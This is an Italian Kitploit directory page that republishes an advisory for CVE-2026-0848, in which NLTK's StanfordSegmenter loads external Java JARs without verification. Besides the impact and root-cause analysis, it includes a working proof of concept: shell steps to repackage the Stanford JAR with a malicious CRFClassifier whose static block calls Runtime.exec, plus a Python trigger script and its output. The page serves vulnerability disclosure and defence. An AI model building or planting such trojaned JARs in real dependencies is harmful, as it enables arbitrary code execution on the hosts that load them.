Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-0848 — nltk.tokenize.StanfordSegmenter carica dinamicamente file Java .jar esterni senza verifica o sandboxing. Se un attaccante può fornire o sostituire il JAR (ad esempio, un download di modello avvelenato, uno scambio di pacchetti MITM o un avvelenamento delle dipendenze), codice bytecode Java arbitrario viene eseguito al momento dell'importazione. | Kitploit
Strumenti/GitHubGitHub/hyperps/cve-2026-0848
Analisi delle VulnerabilitàAnalisi del CodiceExploitSicurezza della Supply ChainPaper e RicercaApprendimento e Formazione
GitHubhyperps/cve-2026-0848

CVE-2026-0848

Vedi Repository
126 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →

Informazioni

nltk.tokenize.StanfordSegmenter carica dinamicamente file Java .jar esterni senza verifica o sandboxing. Se un attaccante può fornire o sostituire il JAR (ad esempio, un download di modello avvelenato, uno scambio di pacchetti MITM o un avvelenamento delle dipendenze), codice bytecode Java arbitrario viene eseguito al momento dell'importazione.

Condividi

CVE-2026-0848 — NLTK StanfordSegmenter: Esecuzione di Codice Arbitrario tramite Caricamento di JAR Non Attendibili


Panoramica

CampoDettagli
CVE IDCVE-2026-0848
Pacchettonltk (Natural Language Toolkit)
RegistryPyPI
Versioni Coinvolte<= 3.9.2
Tipo di VulnerabilitàCWE-20: Validazione Non Corretta dell'Input
Punteggio CVSS10.0 (Critical)
Vettore di AttaccoNetwork
Complessità di AttaccoLow
Privilegi RichiestiNone
Interazione UtenteNone
ScopeChanged
Impatto sulla RiservatezzaHigh
Impatto sull'IntegritàHigh
Impatto sulla DisponibilitàHigh
Data di Segnalazione6 dicembre 2025
Data di Pubblicazione CVEMarzo 2026
SupportoPalo Alto Networks / Prisma AIRS

Descrizione

nltk.tokenize.StanfordSegmenter carica dinamicamente file Java .jar esterni tramite subprocess senza eseguire alcuna verifica di integrità, controllo delle firme o sandboxing. La classe accetta parametri completamente controllabili dall'attaccante, inclusi path_to_jar, path_to_model, path_to_dict e java_class, e li passa direttamente a un'invocazione java -cp.

Se un attaccante può fornire o sostituire il file JAR — tramite un download di modelli avvelenato, uno scambio del pacchetto man-in-the-middle, l'avvelenamento delle dipendenze o un mirror di rilascio corrotto — del bytecode Java arbitrario viene eseguito al momento del caricamento della classe tramite il meccanismo di inizializzazione statica della JVM. Ciò costituisce una vulnerabilità di Remote Code Execution nella supply chain che consente una fuga completa dal runtime Python.


Componenti Coinvolti

FileRigheDescrizione
nltk/tokenize/stanford_segmenter.pyL53–L118Accetta path_to_jar, path_to_model, path_to_dict e java_class controllabili dall'attaccante senza alcuna validazione
nltk/internals.pyL220–L300Avvia l'esecuzione di Java direttamente con percorso JAR e classpath controllati dall'utente, senza sandboxing né verifica dei checksum
nltk/internals.pyL109–L152subprocess.Popen() esegue Java con un input classpath non validato, consentendo alla JVM di caricare bytecode arbitrario ed eseguire gli inizializzatori statici

Vettore CVSS

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
MetricaValore
Vettore di AttaccoNetwork
Complessità di AttaccoLow
Privilegi RichiestiNone
Interazione UtenteNone
ScopeChanged
RiservatezzaHigh
IntegritàHigh
DisponibilitàHigh

Impatto

Lo sfruttamento riuscito garantisce a un attaccante il pieno controllo del sistema che esegue il processo di segmentazione NLTK:

  • Esecuzione di codice Java arbitrario — Qualsiasi bytecode incorporato nel JAR dannoso viene eseguito con i privilegi del processo Python/Java
  • Fuoriuscita dal runtime Python — L'esecuzione si sposta nella JVM, bypassando completamente la sandbox a livello Python
  • Esecuzione di comandi a livello di sistema operativo — Gli attaccanti possono invocare Runtime.getRuntime().exec() o ProcessBuilder per eseguire comandi shell arbitrari
  • Furto e modifica dei dati — Accesso a tutti i file, le variabili d'ambiente, le chiavi API e i segreti leggibili dal processo
  • Compromissione completa dell'ambiente — In ambienti CI/CD, pipeline NLP di produzione o ambienti server, un singolo JAR dannoso porta alla conquista completa dell'host

Scenari di Distribuzione ad Alto Rischio

ScenarioImpatto
Un ricercatore ML carica un segmenter pre-addestrato da internetUn attaccante remoto ottiene l'esecuzione di codice
Un'organizzazione scarica uno ZIP corrotto di un modello di segmentazione cineseIl malware viene eseguito all'interno della pipeline NLP di produzione
Il server CI/CD installa il modello tramite wget/unzip da un mirror non HTTPSCompromissione completa dell'ambiente
Dirottamento di una dipendenza o mirror di rilascio avvelenatoRCE completa nella supply chain

Questa vulnerabilità colpisce qualsiasi flusso di lavoro NLP che utilizzi StanfordSegmenter, inclusi chatbot, pipeline di preprocessamento LLM, segmentazione di dataset, classificazione di documenti e servizi di inferenza in produzione.


Prova di Concetto

Queste informazioni sono fornite esclusivamente a scopo educativo e difensivo. Non testare sistemi che non possiedi o per i quali non hai un'autorizzazione esplicita.

Passaggio 1 — Sostituire il Classificatore Principale con una Classe Java Dannosa

cd stanford-segmenter-2020-11-17/merged
jar xf ../stanford-segmenter-4.2.0.jar
rm -rf edu/stanford/nlp/ie/crf/CRFClassifier.class

cat << 'EOF' > edu/stanford/nlp/ie/crf/CRFClassifier.java
package edu.stanford.nlp.ie.crf;

public class CRFClassifier {
    static {
        try {
            System.out.println("\nPayload executed — Code ran on class load!\n");
            Runtime.getRuntime().exec("touch /tmp/pwned_hijack");
        } catch(Exception e){}
    }
    public static void main(String[] args){}
}
EOF

javac edu/stanford/nlp/ie/crf/CRFClassifier.java
jar cfm exploit.jar META-INF/MANIFEST.MF *
cp exploit.jar ../stanford-segmenter.jar

Passaggio 2 — Creare il JAR Dannoso

mkdir merged && cd merged
javac Payload.java
jar xf ../stanford-segmenter-4.2.0.jar
jar xf ../stanford-corenlp-4.2.0/stanford-corenlp-4.2.0.jar
jar cfm exploit.jar META-INF/MANIFEST.MF *
jar uf exploit.jar Payload.class
cp exploit.jar ../stanford-segmenter.jar
cd ..

Passaggio 3 — Innescare tramite NLTK

# test.py
from nltk.tokenize.stanford_segmenter import StanfordSegmenter

print("[+] Triggering payload via modified Stanford JAR...")

seg = StanfordSegmenter(
    path_to_jar="stanford-segmenter.jar",
    path_to_sihan_corpora_dict="./data/",
    path_to_dict="./data/dict-chris6.ser.gz",
    path_to_model="./data/pku.gz",
    java_class="edu.stanford.nlp.ie.crf.CRFClassifier",
    encoding="utf-8"
)

print("[+] Running segmentation...")
print(seg.segment("我爱自然语言处理"))

Output:

[+] Triggering payload via modified Stanford JAR...

Payload executed — Code ran on class load!

[+] Running segmentation...
我 爱 自然语言 处理

Conferma della RCE:

ls /tmp | grep pwned_hijack
# pwned_hijack

Causa Principale

La vulnerabilità è presente in due file:

stanford_segmenter.py — Il costruttore della classe StanfordSegmenter accetta path_to_jar, path_to_model, path_to_dict e java_class come semplici argomenti stringa e li inoltra direttamente al livello di esecuzione Java senza eseguire nessuna delle seguenti operazioni:

  • Applicazione di un allowlist di percorsi o di directory attendibili
  • Verifica SHA-256 o della firma crittografica del JAR
  • Validazione del parametro java_class rispetto a un insieme noto e sicuro di nomi di classe
Scarica lo strumento